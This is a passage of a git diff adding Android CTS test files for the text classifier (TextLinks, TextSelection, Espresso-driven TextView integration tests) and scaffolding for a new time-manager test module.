+        assertEquals(1, customTextLinkSpans.length);
+
+        final TextLinks.TextLink textLink = customTextLinkSpans[0].getTextLink();
+
+        assertEquals(START, textLink.getStart());
+        assertEquals(END, textLink.getEnd());
+        assertEquals(1, textLink.getEntityCount());
+        assertEquals(TextClassifier.TYPE_ADDRESS, textLink.getEntity(0));
+        assertEquals(1.0f, textLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+    }
+
+    @Test
+    public void testTextLinksRequest_defaultValues() {
+        final TextLinks.Request request = new TextLinks.Request.Builder(TEXT).build();
+
+        assertEquals(TEXT, request.getText());
+        assertNull(request.getDefaultLocales());
+        assertTrue(request.getExtras().isEmpty());
+        assertNull(request.getEntityConfig());
+    }
+
+    @Test
+    public void testTextLinksRequest_full() {
+        final ZonedDateTime referenceTime = ZonedDateTime.ofInstant(Instant.ofEpochMilli(1000L),
+                ZoneId.of("UTC"));
+        final TextLinks.Request request = new TextLinks.Request.Builder(TEXT)
+                .setDefaultLocales(LOCALES)
+                .setExtras(BUNDLE)
+                .setEntityConfig(TextClassifier.EntityConfig.createWithHints(
+                        Collections.singletonList(TextClassifier.HINT_TEXT_IS_EDITABLE)))
+                .setReferenceTime(referenceTime)
+                .build();
+
+        assertEquals(TEXT, request.getText());
+        assertEquals(LOCALES, request.getDefaultLocales());
+        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
+        assertEquals(1, request.getEntityConfig().getHints().size());
+        assertEquals(
+                TextClassifier.HINT_TEXT_IS_EDITABLE,
+                request.getEntityConfig().getHints().iterator().next());
+        assertEquals(referenceTime, request.getReferenceTime());
+    }
+
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextSelectionTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextSelectionTest.java
new file mode 100644
index 0000000..5152697
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextSelectionTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextSelection;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextSelectionTest {
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+
+    private static final float ACCEPTED_DELTA = 0.0000001f;
+    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
+    private static final int START = 5;
+    private static final int END = 20;
+    private static final String ID = "id123";
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("fr,en,de,es");
+    private static final TextClassification TEXT_CLASSIFICATION =
+            new TextClassification.Builder().setText(TEXT).build();
+
+    @Test
+    public void testTextSelection() {
+        final float addressScore = 0.1f;
+        final float emailScore = 0.9f;
+
+        final TextSelection original = new TextSelection.Builder(START, END)
+                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
+                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
+                .setId(ID)
+                .setExtras(BUNDLE)
+                .setTextClassification(TEXT_CLASSIFICATION)
+                .build();
+
+        TextSelection selection = parcelizeDeparcelize(original, TextSelection.CREATOR);
+
+        assertThat(selection.getSelectionStartIndex()).isEqualTo(START);
+        assertThat(selection.getSelectionEndIndex()).isEqualTo(END);
+        assertThat(selection.getEntityCount()).isEqualTo(2);
+        assertThat(selection.getEntity(0)).isEqualTo(TextClassifier.TYPE_EMAIL);
+        assertThat(selection.getEntity(1)).isEqualTo(TextClassifier.TYPE_ADDRESS);
+        assertThat(selection.getConfidenceScore(TextClassifier.TYPE_ADDRESS)).isWithin(
+                ACCEPTED_DELTA).of(addressScore);
+        assertThat(selection.getConfidenceScore(TextClassifier.TYPE_EMAIL)).isWithin(
+                ACCEPTED_DELTA).of(emailScore);
+        assertThat(selection.getConfidenceScore("random_type")).isEqualTo(0);
+        assertThat(selection.getId()).isEqualTo(ID);
+        assertThat(selection.getExtras().getString(BUNDLE_KEY)).isEqualTo(BUNDLE_VALUE);
+        assertThat(selection.getTextClassification().getText()).isEqualTo(TEXT);
+    }
+
+    @Test
+    public void testTextSelection_differentParams() {
+        final int start = 0;
+        final int end = 1;
+        final float confidenceScore = 0.5f;
+        final String id = "2hukwu3m3k44f1gb0";
+
+        final TextSelection selection = new TextSelection.Builder(start, end)
+                .setEntityType(TextClassifier.TYPE_URL, confidenceScore)
+                .setId(id)
+                .build();
+
+        assertEquals(start, selection.getSelectionStartIndex());
+        assertEquals(end, selection.getSelectionEndIndex());
+        assertEquals(1, selection.getEntityCount());
+        assertEquals(TextClassifier.TYPE_URL, selection.getEntity(0));
+        assertEquals(confidenceScore, selection.getConfidenceScore(TextClassifier.TYPE_URL),
+                ACCEPTED_DELTA);
+        assertEquals(0, selection.getConfidenceScore("random_type"), ACCEPTED_DELTA);
+        assertEquals(id, selection.getId());
+    }
+
+    @Test
+    public void testTextSelection_defaultValues() {
+        TextSelection original = new TextSelection.Builder(START, END).build();
+
+        TextSelection selection = parcelizeDeparcelize(original, TextSelection.CREATOR);
+
+        assertThat(selection.getEntityCount()).isEqualTo(0);
+        assertThat(selection.getId()).isNull();
+        assertThat(selection.getExtras().isEmpty()).isTrue();
+        assertThat(selection.getTextClassification()).isNull();
+    }
+
+    @Test
+    public void testTextSelection_prunedConfidenceScore() {
+        final float phoneScore = -0.1f;
+        final float prunedPhoneScore = 0f;
+        final float otherScore = 1.5f;
+        final float prunedOtherScore = 1.0f;
+
+        final TextSelection selection = new TextSelection.Builder(START, END)
+                .setEntityType(TextClassifier.TYPE_PHONE, phoneScore)
+                .setEntityType(TextClassifier.TYPE_OTHER, otherScore)
+                .build();
+
+        assertEquals(prunedPhoneScore, selection.getConfidenceScore(TextClassifier.TYPE_PHONE),
+                ACCEPTED_DELTA);
+        assertEquals(prunedOtherScore, selection.getConfidenceScore(TextClassifier.TYPE_OTHER),
+                ACCEPTED_DELTA);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testTextSelection_invalidStartParams() {
+        new TextSelection.Builder(-1 /* start */, END)
+                .build();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testTextSelection_invalidEndParams() {
+        new TextSelection.Builder(START, 0 /* end */)
+                .build();
+    }
+
+    @Test(expected = IndexOutOfBoundsException.class)
+    public void testTextSelection_entityIndexOutOfBounds() {
+        final TextSelection selection = new TextSelection.Builder(START, END).build();
+        final int outOfBoundsIndex = selection.getEntityCount();
+        selection.getEntity(outOfBoundsIndex);
+    }
+
+    @Test
+    public void testTextSelectionRequest() {
+        final TextSelection.Request original = new TextSelection.Request.Builder(TEXT, START, END)
+                .setDefaultLocales(LOCALES)
+                .setExtras(BUNDLE)
+                .setIncludeTextClassification(true)
+                .build();
+
+        TextSelection.Request request =
+                parcelizeDeparcelize(original, TextSelection.Request.CREATOR);
+
+        assertThat(request.getText().toString()).isEqualTo(TEXT);
+        assertThat(request.getStartIndex()).isEqualTo(START);
+        assertThat(request.getEndIndex()).isEqualTo(END);
+        assertThat(request.getDefaultLocales()).isEqualTo(LOCALES);
+        assertThat(request.getExtras().getString(BUNDLE_KEY)).isEqualTo(BUNDLE_VALUE);
+        assertThat(request.shouldIncludeTextClassification()).isEqualTo(true);
+    }
+
+    @Test
+    public void testTextSelectionRequest_nullValues() {
+        final TextSelection.Request original =
+                new TextSelection.Request.Builder(TEXT, START, END)
+                        .setDefaultLocales(null)
+                        .build();
+
+        TextSelection.Request request =
+                parcelizeDeparcelize(original, TextSelection.Request.CREATOR);
+
+        assertNull(request.getDefaultLocales());
+    }
+
+    @Test
+    public void testTextSelectionRequest_defaultValues() {
+        final TextSelection.Request original =
+                new TextSelection.Request.Builder(TEXT, START, END).build();
+
+        TextSelection.Request request =
+                parcelizeDeparcelize(original, TextSelection.Request.CREATOR);
+
+        assertThat(request.getDefaultLocales()).isNull();
+        assertThat(request.getExtras().isEmpty()).isTrue();
+        assertThat(request.shouldIncludeTextClassification()).isFalse();
+    }
+
+    private static <T extends Parcelable> T parcelizeDeparcelize(
+            T parcelable, Parcelable.Creator<T> creator) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        return creator.createFromParcel(parcel);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActions.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActions.java
new file mode 100644
index 0000000..d72f00f
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActions.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static androidx.test.espresso.action.ViewActions.actionWithAssertions;
+
+import android.text.Layout;
+import android.util.Log;
+import android.view.View;
+import android.widget.TextView;
+
+import androidx.test.espresso.UiController;
+import androidx.test.espresso.ViewAction;
+import androidx.test.espresso.action.CoordinatesProvider;
+import androidx.test.espresso.action.GeneralClickAction;
+import androidx.test.espresso.action.PrecisionDescriber;
+import androidx.test.espresso.action.Press;
+import androidx.test.espresso.action.Tap;
+import androidx.test.espresso.action.Tapper;
+
+import org.hamcrest.Matcher;
+
+import java.util.Arrays;
+
+/**
+ * Espresso utils to perform actions on a TextView.
+ */
+public final class TextViewActions {
+    private static final String TAG = "TextViewActions";
+
+    /**
+     * Tap on the text at the given character index.
+     */
+    public static ViewAction tapOnTextAtIndex(int index) {
+        return actionWithAssertions(
+                new ViewClickAction(Tap.SINGLE, new TextCoordinates(index), Press.FINGER));
+    }
+
+    public static ViewAction longTapOnTextAtIndex(int index) {
+        return actionWithAssertions(
+                new ViewClickAction(Tap.LONG, new TextCoordinates(index), Press.FINGER));
+    }
+
+    private static final class ViewClickAction implements ViewAction {
+        private final GeneralClickAction mGeneralClickAction;
+
+        public ViewClickAction(
+                Tapper tapper,
+                CoordinatesProvider coordinatesProvider,
+                PrecisionDescriber precisionDescriber) {
+            mGeneralClickAction = new GeneralClickAction(tapper, coordinatesProvider,
+                    precisionDescriber);
+        }
+
+        @Override
+        public Matcher<View> getConstraints() {
+            return mGeneralClickAction.getConstraints();
+        }
+
+        @Override
+        public String getDescription() {
+            return mGeneralClickAction.getDescription();
+        }
+
+        @Override
+        public void perform(UiController uiController, View view) {
+            mGeneralClickAction.perform(uiController, view);
+        }
+    }
+
+    private static final class TextCoordinates implements CoordinatesProvider {
+
+        private final int mIndex;
+
+        public TextCoordinates(int index) {
+            mIndex = index;
+        }
+
+        @Override
+        public float[] calculateCoordinates(View view) {
+            TextView textView = (TextView) view;
+            final Layout layout = textView.getLayout();
+            final int line = layout.getLineForOffset(mIndex);
+            final int[] xy = new int[2];
+            textView.getLocationOnScreen(xy);
+            float[] coordinates = new float[]{
+                    layout.getPrimaryHorizontal(mIndex)
+                            + textView.getTotalPaddingLeft()
+                            - textView.getScrollX()
+                            + xy[0],
+                    layout.getLineTop(line) + textView.getTotalPaddingTop() - textView.getScrollY()
+                            + xy[1]};
+            Log.d(TAG, "calculateCoordinates: " + Arrays.toString(coordinates));
+            return coordinates;
+        }
+    }
+
+    private TextViewActions() {
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActivity.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActivity.java
new file mode 100644
index 0000000..f549970
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.TextView;
+
+public class TextViewActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.main);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
new file mode 100644
index 0000000..174b2f5
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static android.content.pm.PackageManager.FEATURE_TOUCHSCREEN;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
+import static android.provider.Settings.Global.TRANSITION_ANIMATION_SCALE;
+
+import static androidx.test.espresso.Espresso.onView;
+import static androidx.test.espresso.assertion.ViewAssertions.matches;
+import static androidx.test.espresso.matcher.RootMatchers.isPlatformPopup;
+import static androidx.test.espresso.matcher.ViewMatchers.hasDescendant;
+import static androidx.test.espresso.matcher.ViewMatchers.isDisplayed;
+import static androidx.test.espresso.matcher.ViewMatchers.withId;
+import static androidx.test.espresso.matcher.ViewMatchers.withTagValue;
+import static androidx.test.espresso.matcher.ViewMatchers.withText;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.hamcrest.CoreMatchers.allOf;
+import static org.hamcrest.CoreMatchers.is;
+
+import android.app.PendingIntent;
+import android.app.RemoteAction;
+import android.content.ContentResolver;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.provider.Settings;
+import android.text.Spannable;
+import android.text.SpannableString;
+import android.text.TextUtils;
+import android.text.method.LinkMovementMethod;
+import android.util.Log;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLinks;
+import android.view.textclassifier.TextSelection;
+import android.widget.TextView;
+
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.espresso.ViewInteraction;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.AfterClass;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class TextViewIntegrationTest {
+    private final static String LOG_TAG = "TextViewIntegrationTest";
+    private final static String TOOLBAR_TAG = "floating_toolbar";
+
+    private SimpleTextClassifier mSimpleTextClassifier;
+
+    @Rule
+    public ActivityScenarioRule<TextViewActivity> rule = new ActivityScenarioRule<>(
+            TextViewActivity.class);
+
+    private static float sOriginalAnimationDurationScale;
+    private static float sOriginalTransitionAnimationDurationScale;
+
+    @Before
+    public void setup() {
+        Assume.assumeTrue(
+                ApplicationProvider.getApplicationContext().getPackageManager()
+                        .hasSystemFeature(FEATURE_TOUCHSCREEN));
+        mSimpleTextClassifier = new SimpleTextClassifier();
+    }
+
+    @BeforeClass
+    public static void disableAnimation() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ContentResolver resolver =
+                    ApplicationProvider.getApplicationContext().getContentResolver();
+            sOriginalAnimationDurationScale =
+                    Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+            Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+
+            sOriginalTransitionAnimationDurationScale =
+                    Settings.Global.getFloat(resolver, TRANSITION_ANIMATION_SCALE, 1f);
+            Settings.Global.putFloat(resolver, TRANSITION_ANIMATION_SCALE, 0);
+        });
+    }
+
+    @AfterClass
+    public static void restoreAnimation() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putFloat(
+                    ApplicationProvider.getApplicationContext().getContentResolver(),
+                    ANIMATOR_DURATION_SCALE, sOriginalAnimationDurationScale);
+
+            Settings.Global.putFloat(
+                    ApplicationProvider.getApplicationContext().getContentResolver(),
+                    TRANSITION_ANIMATION_SCALE, sOriginalTransitionAnimationDurationScale);
+        });
+    }
+
+    @Test
+    public void smartLinkify() throws Exception {
+        ActivityScenario<TextViewActivity> scenario = rule.getScenario();
+        // Linkify the text.
+        final String TEXT = "Link: https://www.android.com";
+        AtomicInteger clickIndex = new AtomicInteger();
+        Spannable linkifiedText = createLinkifiedText(TEXT);
+        scenario.onActivity(activity -> {
+            TextView textView = activity.findViewById(R.id.textview);
+            textView.setText(linkifiedText);
+            textView.setTextClassifier(mSimpleTextClassifier);
+            textView.setMovementMethod(LinkMovementMethod.getInstance());
+            TextLinks.TextLinkSpan[] spans = linkifiedText.getSpans(0, TEXT.length(),
+                    TextLinks.TextLinkSpan.class);
+            assertThat(spans).hasLength(1);
+            TextLinks.TextLinkSpan span = spans[0];
+            clickIndex.set(
+                    (span.getTextLink().getStart() + span.getTextLink().getEnd()) / 2);
+        });
+        // To wait for the rendering of the activity to be completed, so that the upcoming click
+        // action will work.
+        Thread.sleep(2000);
+        onView(allOf(withId(R.id.textview), withText(TEXT))).check(matches(isDisplayed()));
+        // Click on the span.
+        Log.d(LOG_TAG, "clickIndex = " + clickIndex.get());
+        onView(withId(R.id.textview)).perform(TextViewActions.tapOnTextAtIndex(clickIndex.get()));
+
+        assertFloatingToolbarIsDisplayed();
+        assertFloatingToolbarContainsItem("Test");
+    }
+
+    @Test
+    public void smartSelection_suggestSelectionNotIncludeTextClassification() throws Exception {
+        smartSelectionInternal();
+
+        assertThat(mSimpleTextClassifier.getClassifyTextInvocationCount()).isEqualTo(1);
+    }
+
+    @Test
+    public void smartSelection_suggestSelectionIncludeTextClassification() throws Exception {
+        mSimpleTextClassifier.setIncludeTextClassification(true);
+        smartSelectionInternal();
+
+        assertThat(mSimpleTextClassifier.getClassifyTextInvocationCount()).isEqualTo(0);
+    }
+
+    @Test
+    public void smartSelection_cancelSelectionDoesNotInvokeClassifyText() throws Exception {
+        smartSelectionInternal();
+        onView(withId(R.id.textview)).perform(TextViewActions.tapOnTextAtIndex(0));
+        Thread.sleep(1000);
+
+        assertThat(mSimpleTextClassifier.getClassifyTextInvocationCount()).isEqualTo(1);
+    }
+
+    private void smartSelectionInternal() {
+        ActivityScenario<TextViewActivity> scenario = rule.getScenario();
+        AtomicInteger clickIndex = new AtomicInteger();
+        //                   0123456789
+        final String TEXT = "Link: https://www.android.com";
+        scenario.onActivity(activity -> {
+            TextView textView = activity.findViewById(R.id.textview);
+            textView.setTextIsSelectable(true);
+            textView.setText(TEXT);
+            textView.setTextClassifier(mSimpleTextClassifier);
+            clickIndex.set(9);
+        });
+        onView(allOf(withId(R.id.textview), withText(TEXT))).check(matches(isDisplayed()));
+
+        // Long press the url to perform smart selection.
+        Log.d(LOG_TAG, "clickIndex = " + clickIndex.get());
+        onView(withId(R.id.textview)).perform(
+                TextViewActions.longTapOnTextAtIndex(clickIndex.get()));
+
+        assertFloatingToolbarIsDisplayed();
+        assertFloatingToolbarContainsItem("Test");
+    }
+
+    private Spannable createLinkifiedText(CharSequence text) {
+        TextLinks.Request request = new TextLinks.Request.Builder(text)
+                .setEntityConfig(
+                        new TextClassifier.EntityConfig.Builder()
+                                .setIncludedTypes(Collections.singleton(TextClassifier.TYPE_URL))
+                                .build())
+                .build();
+        TextLinks textLinks = mSimpleTextClassifier.generateLinks(request);
+        Spannable linkifiedText = new SpannableString(text);
+        int resultCode = textLinks.apply(
+                linkifiedText,
+                TextLinks.APPLY_STRATEGY_REPLACE,
+                /* spanFactory= */null);
+        assertThat(resultCode).isEqualTo(TextLinks.STATUS_LINKS_APPLIED);
+        return linkifiedText;
+    }
+
+    private static ViewInteraction onFloatingToolBar() {
+        return onView(withTagValue(is(TOOLBAR_TAG))).inRoot(isPlatformPopup());
+    }
+
+    private static void assertFloatingToolbarIsDisplayed() {
+        onFloatingToolBar().check(matches(isDisplayed()));
+    }
+
+    private static void assertFloatingToolbarContainsItem(String itemLabel) {
+        onFloatingToolBar().check(matches(hasDescendant(withText(itemLabel))));
+    }
+
+    /**
+     * A {@link TextClassifier} that can only annotate the android.com url. Do not reuse the same
+     * instance across tests.
+     */
+    private static class SimpleTextClassifier implements TextClassifier {
+        private static final String ANDROID_URL = "https://www.android.com";
+        private static final Icon NO_ICON = Icon.createWithData(new byte[0], 0, 0);
+        private boolean mSetIncludeTextClassification = false;
+        private int mClassifyTextInvocationCount = 0;
+
+        public void setIncludeTextClassification(boolean setIncludeTextClassification) {
+            mSetIncludeTextClassification = setIncludeTextClassification;
+        }
+
+        public int getClassifyTextInvocationCount() {
+            return mClassifyTextInvocationCount;
+        }
+
+        @Override
+        public TextSelection suggestSelection(TextSelection.Request request) {
+            int start = request.getText().toString().indexOf(ANDROID_URL);
+            if (start == -1) {
+                return new TextSelection.Builder(
+                        request.getStartIndex(), request.getEndIndex())
+                        .build();
+            }
+            TextSelection.Builder builder =
+                    new TextSelection.Builder(start, start + ANDROID_URL.length())
+                            .setEntityType(TextClassifier.TYPE_URL, 1.0f);
+            if (mSetIncludeTextClassification) {
+                builder.setTextClassification(createAndroidUrlTextClassification());
+            }
+            return builder.build();
+        }
+
+        @Override
+        public TextClassification classifyText(TextClassification.Request request) {
+            mClassifyTextInvocationCount += 1;
+            String spanText = request.getText().toString()
+                    .substring(request.getStartIndex(), request.getEndIndex());
+            if (TextUtils.equals(ANDROID_URL, spanText)) {
+                return createAndroidUrlTextClassification();
+            }
+            return new TextClassification.Builder().build();
+        }
+
+        private TextClassification createAndroidUrlTextClassification() {
+            TextClassification.Builder builder =
+                    new TextClassification.Builder().setText(ANDROID_URL);
+            builder.setEntityType(TextClassifier.TYPE_URL, 1.0f);
+
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.setData(Uri.parse(ANDROID_URL));
+            PendingIntent pendingIntent = PendingIntent.getActivity(
+                    ApplicationProvider.getApplicationContext(),
+                    /* requestCode= */ 0,
+                    intent,
+                    PendingIntent.FLAG_IMMUTABLE);
+
+            RemoteAction remoteAction =
+                    new RemoteAction(NO_ICON, "Test", "content description", pendingIntent);
+            remoteAction.setShouldShowIcon(false);
+            builder.addAction(remoteAction);
+            return builder.build();
+        }
+
+        @Override
+        public TextLinks generateLinks(TextLinks.Request request) {
+            TextLinks.Builder builder = new TextLinks.Builder(request.getText().toString());
+            int index = request.getText().toString().indexOf(ANDROID_URL);
+            if (index == -1) {
+                return builder.build();
+            }
+            builder.addLink(index,
+                    index + ANDROID_URL.length(),
+                    Collections.singletonMap(TextClassifier.TYPE_URL, 1.0f));
+            return builder.build();
+        }
+    }
+}
diff --git a/tests/tests/theme/Android.bp b/tests/tests/theme/Android.bp
index 33f5c58..20a8ce2 100644
--- a/tests/tests/theme/Android.bp
+++ b/tests/tests/theme/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsThemeDeviceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/time/Android.bp b/tests/tests/time/Android.bp
new file mode 100644
index 0000000..6dedbff
--- /dev/null
+++ b/tests/tests/time/Android.bp
@@ -0,0 +1,31 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsTimeTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "system_current",
+}
diff --git a/tests/tests/time/AndroidManifest.xml b/tests/tests/time/AndroidManifest.xml
new file mode 100644
index 0000000..a3bd06d
--- /dev/null
+++ b/tests/tests/time/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+      package="android.time.cts">
+
+    <!-- The permissions below would be needed if tests were not using "adopt shell permissions" to
+         obtain the necessary MANAGE_TIME_AND_ZONE_DETECTION privileged permission. -->
+    <!-- uses-permission android:name="android.permission.MANAGE_TIME_AND_ZONE_DETECTION" /-->
+    <!-- Required for LocationManager.setLocationEnabledForUser() -->
+    <!-- uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/-->
+    <eat-comment />
+
+    <application>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.time.cts"
+        android:label="CTS tests for android.time">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/time/AndroidTest.xml b/tests/tests/time/AndroidTest.xml
new file mode 100644
index 0000000..1036c1a
--- /dev/null
+++ b/tests/tests/time/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for Toast test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTimeTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.time.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/time/OWNERS b/tests/tests/time/OWNERS
new file mode 100644
index 0000000..a81fa72
--- /dev/null
+++ b/tests/tests/time/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 847766
+nfuller@google.com
+include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
diff --git a/tests/tests/time/src/android/time/cts/TimeManagerTest.java b/tests/tests/time/src/android/time/cts/TimeManagerTest.java
new file mode 100644
index 0000000..cf59f48
--- /dev/null
+++ b/tests/tests/time/src/android/time/cts/TimeManagerTest.java
